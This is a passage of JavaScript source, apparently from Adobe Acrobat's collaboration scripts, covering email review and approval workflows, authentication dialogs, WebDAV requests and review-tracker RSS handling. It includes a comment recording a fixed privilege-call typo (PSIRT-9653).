				    msgNotify = msgNotify.replace(/%receiver%/, data.addr);



				    // changed in A9 - 10/19/2007 tshiono

				    // try to remove the script that triggers Approval workflow functions.

				    // try to prepare sending a mail that notifies the initiator of approval status.

				    // make all annotations read-only temporarily before sending the notification mail.

				    app.beginPriv();

				    Collab.removeApprovalDocScript(doc, docScriptName);

				    Collab.beginInitiatorMailOperation(doc);

				    app.endPriv();



				    // call with actual ccoriginal that came from Collab.getCCaddr

				    // changed in A8 - 06/03/2006 tshiono

				    // don't add any scripts into doc if this case is the final approval, and

				    // all annotations in the doc are already set with read-only before calling

				    // this method.

				    //

				    resultDoSend = ANDoSend(doc,doc.docID[0],"",ccoriginal,0,"","",subjNotify,msgNotify,false,false,true,true,null,false);

						    // false to not ubiquitize   false for no UI   true for Approval   true to not send bean

				    //console.println("sending notification to " + ccoriginal);



				    // changed in A9 - 10/19/2007 tshiono

				    // try to conclude sending a mail that notifies the initiator of approval status.

				    // revert read-only annotations to the previous state.

				    app.beginPriv();

				    Collab.endInitiatorMailOperation(doc);

				    app.endPriv();



				    if(resultDoSend.raised || !resultDoSend.submitFormResult)

                    {

                        // Set that the workflow has ended

                        app.beginPriv();

					    Collab.inEmailWorkflow = false;

					    app.endPriv();

					    return 0;

                    }



				    bSentEmail = true;

			    }

			

			    //console.println("doc was sent");

			    if (bUnregister)

				    Collab.unregisterApproval(doc);

			

			    if(bSentEmail)

			    {

				    app.beginPriv();

				    //console.println("send message (2)");

				    Collab.alertWithHelp(	AnnotsString.IDS_APPROVAL_CONFIRM_MSG.replace(/%docname%/, docName),

										    "",

										    AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_TITLE.replace(/%docname%/, docName), 

										    "Annots:SendForApprovalConfirm");

				    app.endPriv();

			    }



                // Set that the workflow has ended

                app.beginPriv();

		        Collab.inEmailWorkflow = false;

			    app.endPriv();

			    return 1; // success

            }

            catch(e)

            {

                app.beginPriv();

		        Collab.inEmailWorkflow = false;

			    app.endPriv();

            }

		}

		else 

		{

			//console.println("doc was NOT sent");

			go = false;

		}

	}

	return 0;



})  // end ANSendForApproval



ANSendForBrowserReview = app.trustedFunction(function(doc)

{

	var err;

						

	app.beginPriv();

	if(doc)

		app.execMenuItem("Annots:BrowserBasedReview", doc);

	else

		app.execMenuItem("Annots:BrowserBasedReview");

	app.endPriv()

						

	if(err)

		DebugThrow (err);

})





// Send	the	current	document out for review

ANSendForReview = app.trustedFunction(function(doc, bUpdate)

{

	if(bUpdate == undefined) bUpdate = false;



	var data = {};

	

	if(doc && doc.path)

 	{

		data.docPath = doc.path;

		if(doc.path.match(/^http/))

			data.docFS = fileSystem.WebDAV; // XXX get this from the doc itself

	}



	if(doc && Collab.isDocDirty(doc))

	{

		app.beginPriv();

		app.alert({cMsg: AnnotsString.IDS_SEND_FOR_EMAIL_REVIEW_DOC_DIRTY, oDoc: doc});

		app.endPriv();

		return 0;

	}

	

	var go = true;

	var startStep = 0;

	

	// check for return address.  Gotta have somewhere to send comments back to.

	app.beginPriv();

	var eaddr = identity.email;

	app.endPriv();



	if(!eaddr)

    {

		DoIdentityDialog(AnnotsString.IDS_REVIEW_IDENTITY_SETUP_TEXT,

						 AnnotsString.IDS_EMAIL_INVALID,

						 AnnotsString.IDS_SEND_FOR_REVIEW_TITLE_NONAME,

						 true,

						 false);

	

		app.beginPriv();

		eaddr = identity.email;

	    app.endPriv();

    }

    

    if (!eaddr)

		return 0;



	while(go)

	{

		CBRunEmailReviewWizard(data, startStep);

		

		doc = data.doc;

		

		startStep = 1;

	

		if(data.result == "fnsh")

		{

			var to = data.addrs.join(";");

			var startDate =	new	Date();

			

			var from = data.raddr;



			// reuse the proxy ID if there already is one

			var proxyID;

			var alreadyReviewing = false;

			var canProxy = Collab.canProxy(doc);

			

			try

			{

				if(Collab.isEmailReview(doc))

				{

					// getProxy will throw if no review

					// and return undefined if there's a proxyless review

					proxyID = Collab.getProxy(doc);

					alreadyReviewing = true;

				}

			}

			catch(e) {}

			

			var docID;

			

			// already a proxy?  reuse it

			if(proxyID)

				docID = proxyID;

			else

			// no proxy yet? if this is already a review (we're creating a subreview)

			// then use the existing doc ID, else create a new one

				docID = (alreadyReviewing || !canProxy) ? doc.docID[0] : Collab.createUniqueDocID();

			

			var resultDoSend = ANDoSend(doc,docID,from,to,0,"","",data.subj,data.msg,data.readerEnable,false,false,false,data.toolbars); 

			                  // false for no UI   false for Review   false to add mojo

		

			if(!resultDoSend.raised && resultDoSend.submitFormResult)

			{

				// don't register twice (might be an informal sub review)

				if(!alreadyReviewing || bUpdate == true)

				{

	//console.println("collab (3.1)");

					Collab.registerReview({ doc: doc, initiator: null, initScript: "", invitees: to, cc: "", bcc: "", sentDate: startDate, toolbars: data.toolbars });

	//console.println("collab (3.2)");

					if(canProxy)

						Collab.registerProxy(doc, docID);

	//console.println("collab (3.3)");

				}



				var docName = doc.documentFileName;

				

				app.beginPriv();

				//console.println("send message (3)");

				Collab.alertWithHelp(	AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_MSG.replace(/%docname%/, docName),

										"",

										AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_TITLE.replace(/%docname%/, docName), 

										"Annots:SendForReviewConfirm");

				app.endPriv();

				

				if(doc.hidden)

				{

					doc.closeDoc(true);

// XXX - not sure if I want to do this					Collab.bringToFront();

				}

				else

				{

//	XXX - not sure if I want to do this					Collab.bringToFront(doc);

				}



				//bring app to front in case email program came up

				

				return 1; // success

			}

		}

		else

			go = false;

	}

	if(doc && doc.hidden)

		doc.closeDoc(true);

	return 0; // cancelled

})



ANSendCommentsToAuthor = app.trustedFunction(function (doc)

{

	//console.println("collab (4)");

	var	keepTrying = true;

	var	result;

	var	e;	

	

	if (Collab.isEmailReview(doc) && ANVerifyComments(doc, AnnotsString.IDS_SEND_COMMENTS_NO_COMMENTS))

	{

		var docName = doc.documentFileName;

		var go = true;

		// send w/ proxy ID if there is one

		var permID = Collab.getProxy(doc);



		app.beginPriv();

		var data = { addr: permID ? doc.Collab.reviewersEmail : doc.Collab.initiatorEmail };

		app.endPriv();



		// otherwise, just use our ID

		if(!permID)

			permID = doc.docID[0];

		

		var bAsPDF = true;

		

		app.beginPriv();

		var maxPDFCommentsSize = Collab.maxPDFCommentsSize;

		app.endPriv();



		// check if the file size is ok					

		if(doc.filesize > (1024 * 1024 * maxPDFCommentsSize))

		{

			app.beginPriv();

			var result = app.alert(AnnotsString.IDS_SEND_COMMENTS_DOC_IS_LARGE.replace(/%mb%/, maxPDFCommentsSize), 2, 3, AnnotsString.IDS_SEND_COMMENTS_DOC_IS_LARGE_TITLE);

			app.endPriv();

			

			if(result == 3)

				bAsPDF = false;

			else if(result == 2)

				go = false;

		}

		

		while(go)

		{

			CBRunReturnResponseDialog(AnnotsString.IDS_SEND_COMMENTS_TO_AUTHOR_TITLE.replace(/%docname%/, docName), AnnotsString.IDS_SEND_COMMENTS_TO_AUTHOR_INST, AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_TIP, AnnotsString.IDS_SEND_COMMENTS_TO_AUTHOR_SUBJ, AnnotsString.IDS_SEND_COMMENTS_TO_AUTHOR_MSG, docName, true, data);



			if(data.result == "ok")

			{

				var url = "mailto:" + escape(data.addr) + "?subject=" + escape(data.subj) + "&body=" + escape(data.msg) + "&ui=false";



				try

				{

					app.beginPriv();

					var didSubmitForm = doc.submitForm({

							aFields: [],

							bAnnotations: true,

							bInclNMKey:	true,

							cURL: url,

							bPDF: bAsPDF,

							bFDF: !bAsPDF,

							cPermID: permID,

							bExclFKey: true,

							bCheckReqdFields: false

							});

					app.endPriv();



					if(didSubmitForm)

					{

						go = false;

						Collab.setReviewRespondedDate(doc, new Date());



						app.beginPriv();

        				//console.println("send message (4)");

						Collab.alertWithHelp(	AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_MSG.replace(/%docname%/, docName),

												"",

												AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_TITLE.replace(/%docname%/, docName), 

												"Annots:SendForReviewConfirm");

						app.endPriv();

					}

				} catch(e)

				{

					app.beginPriv();

					app.alert({cMsg: e["message"], oDoc: doc});

					app.endPriv();

				}

			}

			else

				go = false;

		}

		return;

	}

});



ANProxyAuthenticateResource = function(bCanStore, bStore, cTitle, cStr)

{

    var auth = new Object;

    auth.result = new Object;

    auth.result.response = false;

	

    auth.initialize = function(dialog)

    {

        dialog.enable({keyc: bCanStore});

        dialog.load({keyc: bCanStore ? bStore : false});

    };

    auth.commit = function(dialog)

    {

        var values = dialog.store();

        this.result.Username = values.usrn;

        this.result.Password = values.pass;

        this.result.SaveCredential = values.keyc;

        this.result.response = true;

    };

    auth.description = 

	{

	    name: cTitle,

	    elements:

		[

		{

		    type: "view", 

		    align: "align_center", 

		    elements:

			[

				{

				    type: "static_text", 

				    align: "align_left",

				    name: cStr,

				    wrap_name: true,

				    width: 280

				},

				{

				    type: "view", 

				    align_children: "align_fill",

				    elements:

					[

					{

					    type: "view", 

					    align: "align_center",

					    align_children: "align_row",

					    elements:

						[

							{ type: "static_text", name: AnnotsString.IDS_SYNC_AUTHENTICATE_USERNAME },

							{ type: "edit_text", item_id: "usrn", char_width: 20 }

						]

					},

					{

					    type: "view", 

					    align: "align_center",

					    align_children: "align_row",

					    elements:

						[

							{ type: "static_text", name: AnnotsString.IDS_SYNC_AUTHENTICATE_PASSWORD },

							{ type: "edit_text", item_id: "pass", char_width: 20, password: true }

						]

					}

					]

				},

				{

				    item_id: "keyc", 

				    type: "check_box", 

				    align: "align_left",

				    name: AnnotsString.IDS_SYNC_AUTHENTICATE_SAVECRED

				},

			{ type: "ok_cancel" }

			]

		}

		]

	};

	

    app.execDialog(auth);

    return auth.result;

};



ANAuthenticateResource = function(bCanStore, bStore, cServer, cRealm, bShowWarning)

{

	var auth = new Object;

	auth.result = new Object;

	auth.result.response = false;

	

	// restrict length

	if(cServer==undefined || cServer.length>512) {

		return auth.result;

	}

	if(cRealm==undefined || cRealm.length>512) {

		return auth.result;

	}

	

	auth.initialize = function(dialog)

	{

		dialog.enable({keyc: bCanStore});

		dialog.load({keyc: bCanStore ? bStore : false});

        dialog.visible({warn: bShowWarning});

	};

	auth.commit = function(dialog)

	{

		var values = dialog.store();

		this.result.Username = values.usrn;

		this.result.Password = values.pass;

		this.result.SaveCredential = values.keyc;

		this.result.response = true;

	};

	auth.description = 

	{

		name: AnnotsString.IDS_SYNC_AUTHENTICATE_TITLE,

		elements:

		[

		{

			type: "view", 

			align: "align_center", 

			elements:

			[

            {

				type: "static_text", 

				align: "align_left",

                item_id: "warn",

				name: AnnotsString.IDS_SYNC_AUTHENTICATE_WARNING_BASIC_NON_SSL

			},

			{

				type: "cluster", 

				name: AnnotsString.IDS_SYNC_AUTHENTICATE_CAPTION,

				align: "align_center",

				elements:

				[

				{

					type: "static_text", 

					align: "align_left",

					name: cServer,

				},

				{

					type: "static_text", 

					align: "align_left",

					name: cRealm,

				},

				{

					type: "view", 

					align_children: "align_fill",

					elements:

					[

					{

						type: "view", 

						align: "align_center",

						align_children: "align_row",

						elements:

						[

							{ type: "static_text", name: AnnotsString.IDS_SYNC_AUTHENTICATE_USERNAME },

							{ type: "edit_text", item_id: "usrn", char_width: 20 }

						]

					},

					{

						type: "view", 

						align: "align_center",

						align_children: "align_row",

						elements:

						[

							{ type: "static_text", name: AnnotsString.IDS_SYNC_AUTHENTICATE_PASSWORD },

							{ type: "edit_text", item_id: "pass", char_width: 20, password: true }

						]

					}

					]

				},

				{

					item_id: "keyc", 

					type: "check_box", 

					align: "align_left",

					name: AnnotsString.IDS_SYNC_AUTHENTICATE_SAVECRED

				}

				]

			},

			{ type: "ok_cancel" }

			]

		}

		]

	};

	

	app.execDialog(auth);

	return auth.result;

};



TestHSShare = function(url, users, limitedAccess)

{

    result = false;

    console.println("\nTesting Hosted Services Share API...");

    swConn = Collab.swConnect();

    if (swConn)

    {

        result = swConn.shareFile(url, users, limitedAccess);

        if (result == 0)

           console.println("Share file API succeeded");

        else

           console.println("*** Share file API failed");

        swConn.disconnect();

    }

    else

        console.println("\nERROR: Unable to establish connection with Acrobat.com");

    return result;

};



function ANMatchString (searchStr, matchStr)

{

    return searchStr.match(matchStr);

};



function ANMatchStringCaseInsensitive (searchStr, matchStr)

{

    var matchStrRegExp = new RegExp(matchStr, "i");

    return searchStr.match(matchStrRegExp);

};



ANShareFile2 = app.trustedFunction(function(cPath)

{

	var shareDlg = new Object;

	

	shareDlg.initialize = function(dialog)

	{

		this.result = new Object;

		this.result.response = false;

		var toLoad = {path: cPath};

		dialog.load(toLoad);

	};

	

	shareDlg.commit = function(dialog)

	{

		var values = dialog.store();

		app.beginPriv();

		this.result.path = Collab.convertPlatformPathToDIPath(values.path);

		app.endPriv();

		this.result.Invite = values.invt;

		this.result.Message = values.mesg;

		this.result.response = true;

	};



    shareDlg.brws = function(dialog)

    {

	    app.beginPriv();

	    var p = app.browseForDoc();

	    app.endPriv();

    	

	    if (p)

	    {

//		    dialog.description.path = p.cPath;

//		    this.data.docFS = p.cFS;

	        app.beginPriv();

			var platPath = Collab.convertDIPathToPlatformPath(p.cPath);

    	    app.endPriv();

		    var toLoad = {path: platPath};

		    dialog.load(toLoad);

	    }

    };

    

	shareDlg.description = 

	{

		name: "Share a File",

		elements:

		[

		{

			type: "view", 

			align_children: "align_left",

			elements:

			[

		    {

			    type: "static_text",

			    name: "Select a file to share:",

			    width: 300,

		    },

		    {

			    type: "view",

			    alignment: "align_fill",

			    align_children: "align_row",

			    elements:

			    [

				    {

					    type: "edit_text",

					    item_id: "path",

					    alignment: "align_fill",

				    },

				    {

					    type: "button",

					    name: AnnotsString.IDS_BROWSE,

					    item_id: "brws",

				    },

			    ]

			},

			{

				type: "static_text",

				name: "Send email to:",

				font: "dialog",

				bold: true,

			},

			{

				type: "edit_text",

				multiline: true,

				height: { prod: [ 2, { edit_text_height: [] } ] },

				item_id: "invt",

				alignment: "align_fill"

			},

			{

				type: "static_text",

				name: "Message:",

				font: "dialog",

				bold: true,

			},

			{

				type: "edit_text",

				multiline: true,

				height: { prod: [ 4, { edit_text_height: [] } ] },

				item_id: "mesg",

				alignment: "align_fill"

			},

			{ type: "ok_cancel" }

			]

		}

		]

	};

	

	app.beginPriv();

	app.execDialog(ANTrustPropagateAll(shareDlg));

	app.endPriv();

	return shareDlg.result;

});



function ANDefaultInvite(doc, bUpdate, decodedURL)

{

  if(!doc.external)

	return ANSendForReview(doc, bUpdate);

  return CBBBRInvite(doc, decodedURL); // go to phase 2 of the BBR invite stuff

};



function CBdef(a, b)

{

  return typeof	a == "undefined" ? b : a;

}



function Matrix2D(a, b,	c, d, h, v)

{

	this.a = CBdef(a, 1);

	this.b = CBdef(b, 0);

	this.c = CBdef(c, 0);

	this.d = CBdef(d, 1);

	this.h = CBdef(h, 0);

	this.v = CBdef(v, 0);

	this.fromRotated = function(doc, page)

	{

		page = CBdef(page, 0);



		var	cropBox	= doc.getPageBox("Crop", page);

		var	mediaBox = doc.getPageBox("Media", page);

		var	mbHeight = mediaBox[1] - mediaBox[3];

		var	mbWidth	= mediaBox[2] -	mediaBox[0];

		var	rotation = doc.getPageRotation(page);

		var	m =	new	Matrix2D(1,	0, 0, 1, cropBox[0]	- mediaBox[0], cropBox[3] -	mediaBox[3]);



		if(rotation	== 90)

			return this.concat(m.rotate(Math.asin(1.0)).translate(mbHeight,	0));

		else if(rotation ==	180)

			return this.concat(m.rotate(2.0	* -Math.asin(1.0)).translate(mbWidth, mbHeight));

		else if(rotation ==	270)

			return this.concat(m.rotate(-Math.asin(1.0)).translate(0, mbWidth));

		return this.concat(m);

	}

	this.transform = function(pts)

	{

		var	result = new Array(pts.length);



		if(typeof pts[0] ==	"object")

			for(var	n =	0; n < pts.length; n++)

				result[n] =	this.transform(pts[n]);

		else

			for(var	n =	0; n + 1 < pts.length; n +=	2)

			{

				result[n] =	this.a * pts[n]	+ this.c * pts[n + 1] +	this.h;

				result[n + 1] =	this.b * pts[n]	+ this.d * pts[n + 1] +	this.v;

			}

		return result;

	}

	this.concat	= function(m)

	{

		return new Matrix2D(

			(this.a	* m.a) + (this.b * m.c),

			(this.a	* m.b) + (this.b * m.d),

			(this.c	* m.a) + (this.d * m.c),

			(this.c	* m.b) + (this.d * m.d),

			(this.h	* m.a) + (this.v * m.c)	+ m.h,

			(this.h	* m.b) + (this.v * m.d)	+ m.v);

	}

	this.invert	= function()

	{

		var	result = new Matrix2D;

		var	q =	this.b * this.c	- this.a * this.d;



		if (q)

		{

			result.a = - this.d	/ q;

			result.b = this.b /	q;

			result.c = this.c /	q;

			result.d = - this.a	/ q;

			result.h = -(this.h	* result.a + this.v	* result.c);

			result.v = -(this.h	* result.b + this.v	* result.d);

		}

		return result;

	}

	this.translate = function(dx, dy)

	{

		return this.concat(new Matrix2D(1, 0, 0, 1,	CBdef(dx, 0), CBdef(dy,	0)));

	}

	this.scale = function(sx, sy)

	{

		return this.concat(new Matrix2D(CBdef(sx, 1), 0, 0,	CBdef(sy, 1), 0, 0));

	}

	this.rotate	= function(t)

	{

		t =	CBdef(t, 0);

		return this.concat(new Matrix2D(Math.cos(t), Math.sin(t), -Math.sin(t),	Math.cos(t), 0,	0));

	}

}



function hasHanko()

{

	return (app.language == "JPN") || (app.language == "KOR") || (app.language == "CHS") || (app.language == "CHT");

}





SetHTTPMethods  = app.trustedFunction(function()

{

if(typeof Net.HTTP != "undefined")

{

Net.HTTP.DocCtr = ANTrustPropagateAll(

{

	CreateWorkspace: function(cURL)

	{

		var params =

		{

			cVerb: "PROPFIND",

			cURL: cURL,

			oHandler: ANTrustPropagateAll(

			{

//				oNotify: oDidHappen,

				response: function(msg, uri, e)

				{

					// HTTP 405 - Can't MKCOL if it exists!

//					if(e != undefined && e.error != 405) 

//						this.oNotify.onError(e);

//					else this.oNotify.onCreateCollection(200);

                    console.println("Received response:");

                    console.println(msg);

				}

			})

		}



		app.beginPriv();

		console.println("sending PROPFIND request");

		Net.HTTP.request(params);

		app.endPriv();

	},

});



Net.HTTP.WebDAV = ANTrustPropagateAll(

{

	CreateCollection: function(cURL, oDidHappen, oAuth)

	{

		var params =

		{

			cVerb: "MKCOL",

			cURL: cURL,

			oHandler: ANTrustPropagateAll(

			{

				oNotify: oDidHappen,

				response: function(msg, uri, e)

				{

					// HTTP 405 - Can't MKCOL if it exists!

					if(e != undefined && e.error != 405) 

						this.oNotify.onError(e);

					else this.oNotify.onCreateCollection(200);

				}

			}),

			oAuthenticate: oAuth

		}



		app.beginPriv();

		//console.println("sending MKCOL request");

		Net.HTTP.request(params);

		app.endPriv();

	},



	PutFile: function(cURL, oData, oDidHappen, oAuth)

	{

		var params =

		{

			cVerb: "PUT",

			cURL: cURL,

			oRequest: oData,

			oHandler: ANTrustPropagateAll(

			{

				oNotify: oDidHappen,

				response: function(msg, uri, e)

				{

					if(e != undefined) this.oNotify.onError(e);

					else this.oNotify.onPutFile(200);

				}

			}),

			oAuthenticate: oAuth

		}



		app.beginPriv();

		Net.HTTP.request(params);

		app.endPriv();

	},



	DeleteFile: function(cURL, oDidHappen, oAuth)

	{

		var params =

		{

			cVerb: "DELETE",

			cURL: cURL,

			oHandler: ANTrustPropagateAll(

			{

				oNotify: oDidHappen,

				response: function(msg, uri, e)

				{

					if(e != undefined) this.oNotify.onError(e);

					else this.oNotify.onDeleteFile(200);

				}

			}),

			oAuthenticate: oAuth

		}



		app.beginPriv();

		Net.HTTP.request(params);

		app.endPriv();

	},



	EnumerateCollection: function(cURL, oEnumerator, oAuth)

	{

		var params = 

		{

			cVerb: "PROPFIND",

			cURL: cURL,

			oHandler: ANTrustPropagateAll(

			{

				oBaseURL: util.crackURL(cURL),

				enumerator: oEnumerator,

				response: function(response, uri, e)

				{

					try

					{

						if(e != undefined)

						{

							this.enumerator.onError(e);

						}

						else 

						{

							var string = SOAP.stringFromStream(response);

							var xmlDeclMatcher = /^<\?xml version[^>]+?>/; 

							string = string.replace(xmlDeclMatcher ,'')

							string = string.replace(/\n/g ,'')



							var msg = XML(string);



							var ns = new Namespace("DAV:");

							var responses = msg..ns::response;



							if(this.enumerator.onEnumerateBegin != undefined)

								this.enumerator.onEnumerateBegin();



							for(var i in responses)

							{

								var resp = responses[i];

								var prop = responses[i].ns::propstat.ns::prop;

								var resource = {};



								// ensure that the resource URL begins with the base URL

								var href = resp.ns::href;

								if(href.charAt(0) == '/')

								{

									with(this.oBaseURL)

									{

										// Relative to base href

										resource.url = cScheme;

										resource.url += "://";

										if(nURLType == IPV6Type)

										    resource.url += "[" + cHost + "]";

										else

    										resource.url += cHost;

										if(nPort != undefined)

											resource.url += ":" + nPort;



										resource.url += href;

									}

								}

								else

								{

									// Absolute

									if(this.oBaseURL.nURLType == IPV6Type)

										resource.url = cURL;

									else					

									    resource.url = href.toString();

								}



								resource.displayName = prop.ns::displayname;

								resource.lastModified = prop.ns::getlastmodified;

								resource.contentLength = prop.ns::getcontentlength;

								resource.contentType = prop.ns::getcontenttype;

								resource.etag = prop.ns::getetag;

								resource.type = prop.ns::resourcetype;



								if(resource.type.ns::collection != undefined)

								{

									if(this.enumerator.onEnumerateCollection != undefined)

										this.enumerator.onEnumerateCollection(resource);

								} else this.enumerator.onEnumerateFile(resource);

							}



							if(this.enumerator.onEnumerateEnd != undefined)

								this.enumerator.onEnumerateEnd();

						}

					}catch(e)

					{

						this.enumerator.onError(e);

					}

				}

			}),

			oAuthenticate: oAuth,

			aHeaders:

			[

				{ name: "Depth", value: "1" }

			]

		};



		app.beginPriv();

		Net.HTTP.request(params);

		app.endPriv();

	}

});



Net.HTTP.runTaskSet = app.trustedFunction(function(taskSet)

{

	var oTaskDialog = 

	{

		// Properties

		oTaskSet: taskSet,

		oDialog: null,

		nCurrentTask: 0,

		bResult: false,



		// Methods

		getCurrentTask: function()

		{ 

			return this.oTaskSet.aTasks[this.nCurrentTask]; 

		},



		runCurrentTask: function()

		{

			try

			{

				this.setTaskProgress(0);

				this.getCurrentTask().runTask(this, this.oTaskSet);

				this.setTaskProgress(100);

			}

			catch(e)

			{

				console.println(e);

				console.println(e.stack);

			}

		},



		handleSuccess: function()

		{

			this.getCurrentTask().onSuccess(this, this.oTaskSet);

			this.nCurrentTask++;



			if(this.nCurrentTask >= this.oTaskSet.aTasks.length)

			{

				// Complete

				this.bResult = true;

				this.oDialog.load({ cncl: AnnotsString.IDS_DONE });

			}

			else this.runCurrentTask();

		},



		handleFailure: function(e)

		{

			if(e != undefined && e.text != undefined)

				this.setTaskStatus(e.text);



			this.getCurrentTask().onFailure(this, this.oTaskSet);

		},



		initialize: function(dialog)

		{

			this.oDialog = dialog;

			this.runCurrentTask();

		},



		setTaskStatus: function(status)

		{

			this.oDialog.load({ desc: status });

		},



		setTaskProgress: function(nPercent)

		{

			var nSegLen = 100 / this.oTaskSet.aTasks.length;

			var nComplete = (this.nCurrentTask + (nPercent/100));

			this.oDialog.load({ prog: nComplete * nSegLen });

		},



		cncl: function(dialog)

		{

			dialog.end("cncl");

		},



		// Dialog Description

		description:

		{

			name: taskSet.cTitle,

			elements:

			[

				{

					type: "view",

					alignment: "align_fill",

					elements:

					[

						{

							type: "cluster",

							item_id: "task",

							name: taskSet.cTitle,

							elements:

							[

								{

									type: "view",

									align_children: "align_row",

									elements:

									[

										{

											type: "progress_bar",

											width: 300,

											height: 20,

											item_id: "prog",

										},

										{

											type: "button",

											item_id: "cncl",

											name: AnnotsString.IDS_CANCEL

										}

									]

								},

								{

									type: "static_text",

									alignment: "align_fill",

									item_id: "desc",

									name: "<STATUS>",

								}

							]

						}

					]

				}

			]

		}

	};



	app.beginPriv();

	app.execDialog(oTaskDialog);

	app.endPriv();



	return oTaskDialog.bResult;

}); // runTaskSet

}

});



SetRSSMethods = app.trustedFunction(function()

{

if(typeof RSS != "undefined")

{

	// RSS Namespace

	var rmaNS = "http://ns.adobe.com/Acrobat/RSS/Reviews/";

	var inboxNS = "http://ns.adobe.com/Acrobat/RSS/Inbox/";

	var rtNS = "urn://ns.adobe.com/Acrobat/ReviewTracker/";

	var wrkflwNS = "http://ns.adobe.com/Acrobat/RSS/Workflows/";



	//HREFs and URLs

	var cReviewsIveSentURL = "urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/MyReviews.rss";

	var	cReviewsIveSentFeedLink = "acrobat:Inbox?container=" + rtNS + "&selectFeed=" + cReviewsIveSentURL;

	var cReviewsIveReceivedURL = "urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/ParticipantReviews.rss";

	var	cReviewsIveReceivedFeedLink = "acrobat:Inbox?container=" + rtNS + "&selectFeed=" + cReviewsIveReceivedURL;

	var cReviewsSuperGroupURL = "urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/ReviewsSuperGroup.rss";

	var cReviewsSuperGroupLink = "acrobat:Inbox?container=" + rtNS + "&selectFeed=" + cReviewsSuperGroupURL;

	var cReviewsOfflineURL = "urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/OfflineReviews.rss";

	var	cReviewsOfflineFeedLink = "acrobat:Inbox?container=" + rtNS + "&selectFeed=" + cReviewsOfflineURL;



	var cServersURL = "urn://ns.adobe.com/Acrobat/Tracker/ReviewTracker/ReviewServers.rss";

	var	cServersFeedLink = "acrobat:Inbox?container=" + rtNS + "&selectFeed=" + cServersURL;

	var cServerItemLink = "acrobat:Inbox?container=" + rtNS + "&selectFeed=" + cServersURL;//append a # and the Server Item Guid to this link to get the Item Link

	

	// RSS Extensions

	var rmaMethod = rmaNS + ":method";

	var rmaDocID = rmaNS + ":docID";

	var rmaDocTitle = rmaNS + ":docTitle";

	var rmaDocLink = rmaNS + ":docLink";

	var rmaTo = rmaNS + ":to";

	var rmaCc = rmaNS + ":cc";

	var rmaBcc = rmaNS + ":bcc";

	var rmaIsOffline = rmaNS + ":isOffline";

	var rmaIsInitiated = rmaNS + ":isInitiated";

	var rmaIsOnline = rmaNS + ":isOnline";

	var rmaLastSync = rmaNS + ":lastSync";

	var rmaLatestVersion = rmaNS + ":latestVersion";

	var rmaRemoteURL = rmaNS + ":remoteURL";

	var rmaLocation = rmaNS + ":location";

	var rmaLocationPathType = rmaNS + ":locationPathType";

	var rmaFolder = rmaNS + ":folder";

	var rmaServers = rmaNS + ":serverReviews";

	var rmaHasConnected = rmaNS + ":hasConnected";

	var rmaConnectionStatus = rmaNS + ":connectionStatus";

	var rmaWorkspace = rmaNS + ":workspace";

	var inboxHidden = inboxNS + ":hidden";



	//RSS extensions for Workflows

	var wrkflwID = wrkflwNS + ":docID";

	var wrkflwDocTitle = wrkflwNS + ":docTitle";

	var wrkflwDocLink = wrkflwNS + ":docLink";

	var wrkflwDeleteLink = wrkflwNS + ":deleteLink";

	var wrkflwType = wrkflwNS + ":type";

	var wrkflwHasError = wrkflwNS + ":hasError";

	var wrkflwServerWorkflows = wrkflwNS + ":serverWorkflows";

	var serverErrors = wrkflwNS + ":serverErrors";



	//Shared Review workflow states

	var REVIEW_STATE_ACTIVE = "Active";

	var REVIEW_STATE_ENDED = "Ended";

	var REVIEW_STATE_SUSPENDED = "Suspended";

	var REVIEW_STATE_CORRUPTED = "Corrupted";



	//Event Logging Category and Subcategory constants

	var EVENT_LOGGING_CATEGORY_TRACKER = "Tracker";

	var EVENT_LOGGING_SUBCATEGORY_REVIEWS = "Reviews";

	

	var LogAVUMEvent = app.trustedFunction(function(category, subcategory, eventName)

	{

    	var logEventParams = {};

		logEventParams.cat = category;

		logEventParams.subcat = subcategory;

		logEventParams.evnt = eventName;

		

		app.beginPriv();

		Collab.AVUMLogEventWrapper(logEventParams);

		app.endPriv();

	});

	

	var ReviewTrackerAddNewFolder = app.trustedFunction(function(url)

	{

		var result;

		var current = Collab.getReviewFolders(url);



		while(true)

		{

			// Query for a name

			app.beginPriv();

			var folder = app.response(AnnotsString.IDS_REVIEW_PANEL_ADD_FOLDER,

									  AnnotsString.IDS_REVIEW_PANEL_NEW_FOLDER);

			app.endPriv();



			if(folder != undefined && folder != null)

			{

				if(folder.length < 1 || folder.length > 15)

				{

					app.beginPriv();

					app.alert(AnnotsString.IDS_REVIEW_PANEL_FOLDER_LENGTH, 1, 0);

					app.endPriv();

				}

				else

				{

					var bFound = false;

					if(current != undefined)

					{

						for(var i = 0; i < current.length && !bFound; i++)

							bFound = current[i] == folder;

					}



					if(bFound) 

					{

						var msg = AnnotsString.IDS_REVIEW_PANEL_FOLDER_EXISTS;

						msg = msg.replace(/%s/g, folder);

						app.beginPriv();

						app.alert(msg, 1, 0);

						//PSIRT-9653

						// app.Priv(); looked like a typo which should instead have been app.endPriv();

						// since app.Priv() was undefined the researcher has assigned  app.Priv() to some arbitrary function 

						app.endPriv();

					}

					else

					{

						app.beginPriv();

						Collab.addReviewFolder(url, folder);

						LogAVUMEvent(EVENT_LOGGING_CATEGORY_TRACKER, EVENT_LOGGING_SUBCATEGORY_REVIEWS, "CreateFolder");

						app.endPriv();

						result = folder;

						break;

					}

				}

			}

			else break;

		}

		return result;

	});



	var RemoveMultipleSelectedReviews = app.trustedFunction(function(bIsInitiated)

	{

		try

		{

			if(bIsInitiated)

				msg = AnnotsString.IDS_REVIEW_PANEL_CONFIRM_REMOVE_MULTIPLE_SENT;

			else

				msg = AnnotsString.IDS_REVIEW_PANEL_CONFIRM_REMOVE_MULTIPLE_JOINED;



			app.beginPriv();

			var msgboxtitle = app.viewerType == "Reader"? AnnotsString.IDS_PRODUCT_NAME_READER : AnnotsString.IDS_PRODUCT_NAME_ACROBAT;

			var result = app.alert({cTitle:msgboxtitle, cMsg: msg, nIcon: 2, nType: 2});

			app.endPriv();



			if(result == 4)

			{

				app.beginPriv();

				Collab.removeMultipleSelectedReviewsInTracker();

